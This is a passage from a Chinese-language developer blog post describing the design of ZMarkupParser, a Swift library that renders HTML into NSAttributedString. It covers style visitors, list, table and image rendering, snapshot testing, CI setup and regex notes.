+        var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle
+        // 從 HtmlElementComponents 取得 LinkMarkup 對應的 HtmlElement
+        // 看看 HtmlElement 中的 attributes 有沒有 `Style` Attribute
+        guard let styleString = htmlElement?.attributes?["style"],
+              styleAttributes.count > 0 else {
+            // 沒有
+            return markupStyle
+        }
+
+        // 有 Style Attributes
+        // 切割 Style Value 字串成陣列
+        // font-size:14px;color:red -> ["font-size":"14px","color":"red"]
+        let styles = styleString.split(separator: ";").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != "" }.map { $0.split(separator: ":") }
+        
+        for style in styles {
+            guard style.count == 2 else {
+                continue
+            }
+            // e.g font-szie
+            let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines)
+            // e.g. 14px
+            let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines)
+            
+            if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) {
+                // 使用上文中的 HTMLTagStyleAttributeToMarkupStyleVisitor 換回 MarkupStyle
+                let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value)
+                if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) {
+                    // Style Attribute 有換回值時..
+                    // 合併上一個 MarkupStyle 結果
+                    thisMarkupStyle.fillIfNil(from: markupStyle)
+                    markupStyle = thisMarkupStyle
+                }
+            }
+        }
+        
+        // 如果有預設 Style
+        if var defaultStyle = defaultStyle {
+            switch policy {
+                case .respectMarkupStyleFromHTMLStyleAttribute:
+                  // Style Attribute MarkupStyle 為主,然後
+                  // 合併 defaultStyle 結果
+                    markupStyle?.fillIfNil(from: defaultStyle)
+                case .respectMarkupStyleFromCode:
+                  // defaultStyle 為主,然後
+                  // 合併 Style Attribute MarkupStyle 結果
+                  defaultStyle.fillIfNil(from: markupStyle)
+                  markupStyle = defaultStyle
+            }
+        }
+        
+        return markupStyle
+    }
+}
+

對應原始碼中的 HTMLTagAttributeToMarkupStyleVisitor.swift 實作

我們會定義部分預設樣式在 MarkupStyle 中,部分 Markup 如果沒有從 Code 外部指定 Tag 想要的樣式時會使用預設樣式。

樣式繼承策略有兩種:

  • respectMarkupStyleFromCode: 使用預設樣式為主;再看 Style Attributes 中能補上什麼樣式,如果本來就有值則忽略。
  • respectMarkupStyleFromHTMLStyleAttribute: 看 Style Attributes 為主;再看 預設樣式 中能補上什麼樣式,如果本來就有值則忽略。

HTMLElementWithMarkupToMarkupStyleProcessor

將 Normalization 結果轉換成 AST & MarkupStyleComponent。

新宣告一個 MarkupComponent 這次要存放對應 MarkupStyle:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
struct MarkupStyleComponent: MarkupComponent {
+    typealias T = MarkupStyle
+    
+    let markup: Markup
+    let value: MarkupStyle
+    init(markup: Markup, value: MarkupStyle) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

簡單遍歷個 Markup Tree & HTMLElementMarkupComponent 結構:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
let styleAttributes: [HTMLTagStyleAttribute]
+let policy: MarkupStylePolicy
+    
+func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] {
+  var components: [MarkupStyleComponent] = []
+  let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes)
+  walk(markup: from.0, visitor: visitor, components: &components)
+  return components
+}
+    
+func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) {
+        
+  if let markupStyle = visitor.visit(markup: markup) {
+    components.append(.init(markup: markup, value: markupStyle))
+  }
+        
+  for markup in markup.childMarkups {
+    walk(markup: markup, visitor: visitor, components: &components)
+  }
+}
+
+// print(components)
+// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]
+// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))]
+

對應原始碼中的 HTMLElementWithMarkupToMarkupStyleProcessor.swift 實作

流程結果如上圖

流程結果如上圖

Render — Convert To NSAttributedString

現在我們有了 HTML Tag 抽象樹結構、HTML Tag 對應的 MarkupStyle 後;最後一步我們就能來產出最後的 NSAttributedString 渲染結果。

MarkupNSAttributedStringVisitor

visit markup to NSAttributedString

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+
struct MarkupNSAttributedStringVisitor: MarkupVisitor {
+    typealias Result = NSAttributedString
+    
+    let components: [MarkupStyleComponent]
+    // root / base 的 MarkupStyle, 外部指定,例如可指定整串字的大小
+    let rootStyle: MarkupStyle?
+    
+    func visit(_ markup: RootMarkup) -> Result {
+        // 往下看 RawString 物件
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: RawStringMarkup) -> Result {
+        // 回傳 Raw String
+        // 搜集鏈上的所有 MarkupStyle
+        // 套用 Style 到 NSAttributedString
+        return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup))
+    }
+    
+    func visit(_ markup: BoldMarkup) -> Result {
+        // 往下看 RawString 物件
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // 往下看 RawString 物件
+        return collectAttributedString(markup)
+    }
+    // ...
+}
+
+private extension MarkupNSAttributedStringVisitor {
+    // 套用 Style 到 NSAttributedString
+    func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString {
+        guard let markupStyle = markupStyle else { return attributedString }
+        let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString)
+        mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count))
+        return mutableAttributedString
+    }
+
+    func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString {
+        // collect from downstream
+        // Root -> Bold -> String("Bold")
+        //      \
+        //       > String("Test")
+        // Result: Bold Test
+        // 一層一層往下找 raw string, 遞迴 visit 並組合出最終 NSAttributedString
+        return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+            partialResult.append(attributedString)
+            return partialResult
+        }
+    }
+    
+    func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? {
+        // collect from upstream
+        // String("Test") -> Bold -> Italic -> Root
+        // Result: style: Bold+Italic
+        // 一層一層網上找 parent tag 的 markupstyle
+        // 然後一層一層繼承樣式
+        var currentMarkup: Markup? = markup.parentMarkup
+        var currentStyle = components.value(markup: markup)
+        while let thisMarkup = currentMarkup {
+            guard let thisMarkupStyle = components.value(markup: thisMarkup) else {
+                currentMarkup = thisMarkup.parentMarkup
+                continue
+            }
+
+            if var thisCurrentStyle = currentStyle {
+                thisCurrentStyle.fillIfNil(from: thisMarkupStyle)
+                currentStyle = thisCurrentStyle
+            } else {
+                currentStyle = thisMarkupStyle
+            }
+
+            currentMarkup = thisMarkup.parentMarkup
+        }
+        
+        if var currentStyle = currentStyle {
+            currentStyle.fillIfNil(from: rootStyle)
+            return currentStyle
+        } else {
+            return rootStyle
+        }
+    }
+}
+

對應原始碼中的 MarkupNSAttributedStringVisitor.swift 實作

運作流程及結果如上圖

運作流程及結果如上圖

最終我們可以得到:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
Li{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d17600> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}nk{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}Bold{
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+}
+

🎉🎉🎉🎉完成🎉🎉🎉🎉

到此我們就完成了 HTML String to NSAttributedString 的整個轉換過程。

Stripper — 剝離 HTML Tag

剝離 HTML Tag 的部分相對簡單,只需要:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
func attributedString(_ markup: Markup) -> NSAttributedString {
+  if let rawStringMarkup = markup as? RawStringMarkup {
+    return rawStringMarkup.attributedString
+  } else {
+    return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+      partialResult.append(attributedString)
+      return partialResult
+    }
+  }
+}
+

對應原始碼中的 MarkupStripperProcessor.swift 實作

類似 Render,但純粹找到 RawStringMarkup 後返回內容。

Extend — 動態擴充

為了能擴充涵蓋所有 HTMLTag/Style Attribute 所以開了一個動態擴充的口,方便直接從 Code 動態擴充物件。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public struct ExtendTagName: HTMLTagName {
+    public let string: String
+    
+    public init(_ w3cHTMLTagName: WC3HTMLTagName) {
+        self.string = w3cHTMLTagName.rawValue
+    }
+    
+    public init(_ string: String) {
+        self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+// to
+final class ExtendMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+//----
+
+public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute {
+    public let styleName: String
+    public let render: ((String) -> (MarkupStyle?)) // 動態用 clourse 變更 MarkupStyle
+    
+    public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) {
+        self.styleName = styleName
+        self.render = render
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor {
+        return visitor.visit(self)
+    }
+}
+

ZHTMLParserBuilder

最後我們使用 Builder Pattern 讓外部 Module 可以快速構建 ZMarkupParser 所需的物件,並做好 Access Level Control。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+
public final class ZHTMLParserBuilder {
+    
+    private(set) var htmlTags: [HTMLTag] = []
+    private(set) var styleAttributes: [HTMLTagStyleAttribute] = []
+    private(set) var rootStyle: MarkupStyle?
+    private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode
+    
+    public init() {
+        
+    }
+    
+    public static func initWithDefault() -> Self {
+        var builder = Self.init()
+        for htmlTagName in ZHTMLParserBuilder.htmlTagNames {
+            builder = builder.add(htmlTagName)
+        }
+        for styleAttribute in ZHTMLParserBuilder.styleAttributes {
+            builder = builder.add(styleAttribute)
+        }
+        return builder
+    }
+    
+    public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self {
+        return self.add(htmlTagName, withCustomStyle: markupStyle)
+    }
+    
+    public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self {
+        // 同個 tagName 只能存在一個
+        htmlTags.removeAll { htmlTag in
+            return htmlTag.tagName.string == htmlTagName.string
+        }
+        
+        htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle))
+        
+        return self
+    }
+    
+    public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self {
+        styleAttributes.removeAll { thisStyleAttribute in
+            return thisStyleAttribute.styleName == styleAttribute.styleName
+        }
+        
+        styleAttributes.append(styleAttribute)
+        
+        return self
+    }
+    
+    public func set(rootStyle: MarkupStyle) -> Self {
+        self.rootStyle = rootStyle
+        return self
+    }
+    
+    public func set(policy: MarkupStylePolicy) -> Self {
+        self.policy = policy
+        return self
+    }
+    
+    public func build() -> ZHTMLParser {
+        // ZHTMLParser init 只開放 internal, 外部無法直接 init
+        // 只能透過 ZHTMLParserBuilder init
+        return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle)
+    }
+}
+

對應原始碼中的 ZHTMLParserBuilder.swift 實作

initWithDefault 預設會加入所有已經實現的 HTMLTagName/Style Attribute

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public extension ZHTMLParserBuilder {
+    static var htmlTagNames: [HTMLTagName] {
+        return [
+            A_HTMLTagName(),
+            B_HTMLTagName(),
+            BR_HTMLTagName(),
+            DIV_HTMLTagName(),
+            HR_HTMLTagName(),
+            I_HTMLTagName(),
+            LI_HTMLTagName(),
+            OL_HTMLTagName(),
+            P_HTMLTagName(),
+            SPAN_HTMLTagName(),
+            STRONG_HTMLTagName(),
+            U_HTMLTagName(),
+            UL_HTMLTagName(),
+            DEL_HTMLTagName(),
+            TR_HTMLTagName(),
+            TD_HTMLTagName(),
+            TH_HTMLTagName(),
+            TABLE_HTMLTagName(),
+            IMG_HTMLTagName(handler: nil),
+            // ...
+        ]
+    }
+}
+
+public extension ZHTMLParserBuilder {
+    static var styleAttributes: [HTMLTagStyleAttribute] {
+        return [
+            ColorHTMLTagStyleAttribute(),
+            BackgroundColorHTMLTagStyleAttribute(),
+            FontSizeHTMLTagStyleAttribute(),
+            FontWeightHTMLTagStyleAttribute(),
+            LineHeightHTMLTagStyleAttribute(),
+            WordSpacingHTMLTagStyleAttribute(),
+            // ...
+        ]
+    }
+}
+

ZHTMLParser init 只開放 internal,外部無法直接 init,只能透過 ZHTMLParserBuilder init。

ZHTMLParser 封裝了 Render/Selector/Stripper 操作:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+
public final class ZHTMLParser: ZMarkupParser {
+    let htmlTags: [HTMLTag]
+    let styleAttributes: [HTMLTagStyleAttribute]
+    let rootStyle: MarkupStyle?
+
+    internal init(...) {
+    }
+    
+    // 取得 link style attributes
+    public var linkTextAttributes: [NSAttributedString.Key: Any] {
+        // ...
+    }
+    
+    public func selector(_ string: String) -> HTMLSelector {
+        // ...
+    }
+    
+    public func selector(_ attributedString: NSAttributedString) -> HTMLSelector {
+        // ...
+    }
+    
+    public func render(_ string: String) -> NSAttributedString {
+        // ...
+    }
+    
+    // 允許使用 HTMLSelector 結果渲染出節點內的 NSAttributedString
+    public func render(_ selector: HTMLSelector) -> NSAttributedString {
+        // ...
+    }
+    
+    public func render(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+    public func stripper(_ string: String) -> String {
+        // ...
+    }
+    
+    public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+  // ...
+}
+

對應原始碼中的 ZHTMLParser.swift 實作

UIKit 問題

NSAttributedString 的結果我們最常的就是放到 UITextView 中顯示,但是要注意:

  • UITextView 裡的連結樣式是統一看 linkTextAttributes 設定連結樣式,不會看 NSAttributedString.Key 的設定,且無法個別設定樣式;因此才會有 ZMarkupParser.linkTextAttributes 這個開口。
  • UILabel 暫時沒有方式改變連結樣式,且因 UILabel 沒有 TextStroage,若要拿來載入 NSTextAttachment 圖片;需要另外抓住 UILabel。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
public extension UITextView {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        self.attributedText = parser.render(string)
+        self.linkTextAttributes = parser.linkTextAttributes
+    }
+}
+public extension UILabel {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        let attributedString = parser.render(string)
+        attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in
+            guard let attachment = value as? ZNSTextAttachment else {
+                return
+            }
+            
+            attachment.register(self)
+        }
+        
+        self.attributedText = attributedString
+    }
+}
+

因此多 Extension 了 UIKit,外部只需無腦 setHTMLString() 即可完成綁定。

複雜的渲染項目— 項目清單

關於項目清單的實現紀錄。

在 HTML 中使用 &lt;ol&gt; / &lt;ul&gt; 包裝 &lt;li&gt; 表示項目清單:

1
+2
+3
+4
+5
+6
+
<ul>
+    <li>ItemA</li>
+    <li>ItemB</li>
+    <li>ItemC</li>
+    //...
+</ul>
+

使用同前文解析方式,我們可以在 visit(_ markup: ListItemMarkup) 取得其他 list item 知道當前 list index (得利於有轉換成 AST)。

1
+2
+3
+4
+
func visit(_ markup: ListItemMarkup) -> Result {
+  let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? []
+  let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)
+}
+

NSParagraphStyle 有一個 NSTextList 物件可以用來顯示 list item,但是在實作上無法客製化空白的寬度 (個人覺得空白太大),如果項目符號與字串中間有空白會讓換行觸發在此,顯示會有點奇怪,如下圖:

Beter 部分有機會透過 設定 headIndent, firstLineHeadIndent, NSTextTab 實現,但是測試發現字串太長、大小有變還是無法完美呈現結果。

目前只做到 Acceptable,自己組合項目清單字串 insert 到字串前。

我們只使用到 NSTextList.MarkerFormat 用來產項目清單符號,而不是直接使用 NSTextList。

清單符號支援列表可參考: MarkupStyleList.swift

最終顯示結果:( &lt;ol&gt;&lt;li&gt; )

複雜的渲染項目 — Table

類似 清單項目的實現,但是是表格。

在 HTML 中使用 &lt;table&gt; 表格->包裝 &lt;tr&gt; 表格列->包裝 &lt;td&gt;/&lt;th&gt; 表示表格欄位:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
<table>
+  <tr>
+    <th>Company</th>
+    <th>Contact</th>
+    <th>Country</th>
+  </tr>
+  <tr>
+    <td>Alfreds Futterkiste</td>
+    <td>Maria Anders</td>
+    <td>Germany</td>
+  </tr>
+  <tr>
+    <td>Centro comercial Moctezuma</td>
+    <td>Francisco Chang</td>
+    <td>Mexico</td>
+  </tr>
+</table>
+

實測原生的 NSAttributedString.DocumentType.html 是用 Private macOS API NSTextBlock 來完成顯示,因此能完整顯示 HTML 表格樣式及內容。

有點作弊!我們無法用 Private API 🥲

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
    func visit(_ markup: TableColumnMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? []
+        let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0)
+        
+        // 有無從外部指定想要的寬度, 可設 .max 不 truncated string
+        var maxLength: Int? = markup.fixedMaxLength
+        if maxLength == nil {
+            // 沒指定則找到第一行同一欄的 String length 做為 max length
+            if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup,
+               let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup {
+                let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup })
+                if firstTableRowColumns.indices.contains(position) {
+                    let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position])
+                    let length = firstTableRowColumnAttributedString.string.utf16.count
+                    maxLength = length
+                }
+            }
+        }
+        
+        if let maxLength = maxLength {
+            // 欄位超過 maxLength 則 truncated string
+            if attributedString.string.utf16.count > maxLength {
+                attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength))+"...")
+            } else {
+                attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, withPad: " ", startingAt: 0))
+            }
+        }
+        
+        if position < siblingColumns.count - 1 {
+            // 新增空白做為 spacing, 外部可指定 spacing 寬度幾個空白字
+            attributedString.append(makeString(in: markup, string: String(repeating: " ", count: markup.spacing)))
+        }
+        
+        return attributedString
+    }
+    
+    func visit(_ markup: TableRowMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        attributedString.append(makeBreakLine(in: markup)) // 新增換行, 詳細請參考 Source Code
+        return attributedString
+    }
+    
+    func visit(_ markup: TableMarkup) -> Result {
+        let attributedString = collectAttributedString(markup)
+        attributedString.append(makeBreakLine(in: markup)) // 新增換行, 詳細請參考 Source Code
+        attributedString.insert(makeBreakLine(in: markup), at: 0) // 新增換行, 詳細請參考 Source Code
+        return attributedString
+    }
+

最終呈現效果如下圖:

not perfect, but acceptable.

複雜的渲染項目 — Image

最終來講一個最大的魔王,載入遠端圖片到 NSAttributedString。

在 HTML 中使用 &lt;img&gt; 表示圖片:

1
+
<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg" width="300" height="125"/>
+

並可透過 width / height HTML Attribute 指定想要的顯示大小。

在 NSAttributedString 中顯示圖片,比想像中複雜很多;且沒有很好的實現,之前做 UITextView 文繞圖 時有稍微踩過坑,但這次在研究一輪發現還是沒有一個完美的解決方案。

目前先忽略 NSTextAttachment 原生不能 reuse 釋放記憶體的問題,先只實現從遠端下載圖片放到 NSTextAttachment 在放到 NSAttributedString 中,並實現自動更新內容。

此系列操作又再拆到另一個小的 Project 實現,想說日後比較好優化跟復用到其他 Project:

主要是參考 Asynchronous NSTextAttachments 這系列文章實現,但是替換了最後的更新內容部分(下載完後要刷新 UI 才會呈現)還有增加 Delegate/DataSource 給外部擴充使用。

運做流程與關係如上圖

運做流程與關係如上圖

  • 宣告 ZNSTextAttachmentable 物件,封裝 NSTextStorage 物件(UITextView自帶)及 UILabel 本身 (UILabel 無 NSTextStorage) 操作方法僅為實現 replace attributedString from NSRange. ( func replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) )
  • 實現原理是先使用 ZNSTextAttachment 包裝 imageURL、PlaceholderImage、顯要顯示的大小資訊,然後先用 placeHolder 直接顯示圖片
  • 當 系統需要此圖片在畫面時會呼叫 image(forBounds… 方法,此時我們開始下載 Image Data
  • DataSource 出去讓外部可決定怎麼下載或實現 Image Cache Policy,預設直接使用 URLSession 請求圖片 Data
  • 下載完成後 new 一個新的 ZResizableNSTextAttachment 並在 attachmentBounds(for… 實現自定圖片大小的邏輯
  • 呼叫 replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) 方法,將 ZNSTextAttachment 位置替換為 ZResizableNSTextAttachment
  • 發出 didLoad Delegate 通知,讓外部有需要時可串接
  • 完成

詳細程式碼可參考 Source Code

不使用 NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil)NSLayoutManager.invalidateDisplay(forCharacterRange: range) 刷新 UI 的原因是發現 UI 沒有正確的顯示更新;既然都知道所在 Range 了,直接觸發取代 NSAttributedString,能確保 UI 正確更新。

最終顯示結果如下:

1
+2
+
<span style="color:red">こんにちは</span>こんにちはこんにちは <br />
+<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg"/>
+

Testing & Continuous Integration

這次專案除了撰寫 Unit Test 單元測試之外還建立了 Snapshot Test 做整合測試方便對最終的 NSAttributedString 做綜觀的測試比較。

主要功能邏輯都有 UnitTests 並加上整合測試,最終 Test Coverage85% 左右。

[ZMarkupParser — codecov](https://app.codecov.io/gh/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser — codecov

Snapshot Test

直接引入框架使用:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
import SnapshotTesting
+// ...
+func testShouldKeppNSAttributedString() {
+  let parser = ZHTMLParserBuilder.initWithDefault().build()
+  let textView = UITextView()
+  textView.frame.size.width = 390
+  textView.isScrollEnabled = false
+  textView.backgroundColor = .white
+  textView.setHtmlString("html string...", with: parser)
+  textView.layoutIfNeeded()
+  assertSnapshot(matching: textView, as: .image, record: false)
+}
+// ...
+

直接比對最終結果是否符合預期,確保調整整合起來沒有異常。

Codecov Test Coverage

串接 Codecov.io (free for Public Repo) 評估 Test Coverage,只需安裝 Codecov Github App & 設計即可。

Codecov <-> Github Repo 設定好後,也可以在專案根目錄加上 codecov.yml

1
+2
+3
+4
+5
+6
+
comment:                  # this is a top-level key
+  layout: "reach, diff, flags, files"
+  behavior: default
+  require_changes: false  # if true: only post the comment if coverage changes
+  require_base: no        # [yes :: must have a base report to post]
+  require_head: yes       # [yes :: must have a head report to post]
+

設定檔,這樣可以啟用每個 PR 發出後,自動把 CI 跑的結果 Comment 到內容。

Continuous Integration

Github Action, CI 整合: ci.yml

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
name: CI
+
+on:
+  workflow_dispatch:
+  pull_request:
+    types: [opened, reopened]
+  push:
+    branches:
+    - main
+
+jobs:
+  build:
+    runs-on: self-hosted
+    steps:
+      - uses: actions/checkout@v3
+      - name: spm build and test
+        run: |
+          set -o pipefail
+          xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty
+      - name: Codecov
+        uses: codecov/codecov-action@v3.1.1
+        with:
+          xcode: true
+          xcode_archive_path: './scripts/TestResult.xcresult'
+

此設定是在 PR opened/reopend or push main branch 時跑 build and test 最後把 test coverage 報告上傳到 codecov.

Regex

關於正規表示法,每用到一次就又再精進一次;這次實際沒用到太多,但是因為本來想用一個正則挖出成對的 HTML Tag 所以也多研究過要怎麼撰寫。

一些這次新學習的 cheat sheet 筆記…

  • ?: 可以讓 ( ) 匹配 group 結果,但不會捕獲返回 e.g. (?:https?:\/\/)?(?:www\.)?example\.comhttps://www,example.com 會返回整個網址而不是 https:// , www
  • .+? 非貪婪的匹配 (找到最近的就返回) e.g. &lt;.+?&gt;&lt;a&gt;test&lt;/a&gt; 會返回 &lt;a&gt; , &lt;/a&gt; 而非整個字串
  • (?=XYZ) 任何字串直到 XYZ 字串出現;要注意,另一個與之相似的 [^XYZ] 是代表任何字串直到 X or Y or Z 字元出現 e.g. (?:__)(.+?(?=__))(?:__) (任何字串直到 __ ) 會匹配出 test
  • ?R 遞迴往內找一樣規則的值 e.g. \((?:[^()]|((?R)))+\)(simple) (and(nested)) 會匹配出 (simple) , (and(nested)) , (nested)
  • ?&lt;GroupName&gt;\k&lt;GroupName&gt; 匹配前面的 Group Name e.g. (?&lt;tagName&gt;&lt;a&gt;).*(\k&lt;GroupName&gt;)
  • (?(X)yes|no)X 個匹配結果有值(也可以用 Group Name)時則匹配後面條件 yes 否則匹配 no Swift 暫時不支援

其他 Regex 好文:

Swift Package Manager & Cocoapods

這也是我第一次開發 SPM & Cocoapods…蠻有趣的,SPM 真的方便;但是踩到同時兩個專案依賴同個套件的話,同時開兩個專案會有其中一個找不到該套件然後 Build 不起來。。。

Cocoapods 有上傳 ZMarkupParser 但沒測試正不正常,因為我是用 SPM 😝。

ChatGPT

實際搭配開發體驗下來,覺得只有在協助潤稿 Readme 時最有用;在開發上目前沒體會到有感的地方;因為詢問 mid-senior 以上的問題,他也給不出個確切答案甚是是錯誤的答案 (有遇到問他一些正則規則,答案不太正確),所以最後還是回到 Google 人工找正確解答。

更不要說請他寫 Code 了,除非是簡單的 Code Gen Object;不然不要幻想他能直接完成整個工具架構。 (至少目前是這樣,感覺寫 Code 這塊 Copilot 可能更有幫助)

但他可以給一些知識盲區的大方向,讓我們能快速大略知道某些地方應該會怎麼做;有的時候掌握度太低,在 Google 反而很難快速定位到正確的方向,這時候 ChatGPT 就蠻有幫助的。

聲明

歷經三個多月的研究及開發,已疲憊不堪,但還是要聲明一下此做法僅為我研究後得到的可行結果,不一定是最佳解,或還有可優化的地方,這專案更像是一個拋磚引玉,希望能得到一個 Markup Language to NSAttributedString 的完美解答, 非常歡迎大家貢獻;有許多事項還需要群眾的力量才能完善

Contributing

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"} [⭐](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

這邊先列一些此時此刻(2023/03/12)想到能更好的地方,之後會在 Repo 上紀錄:

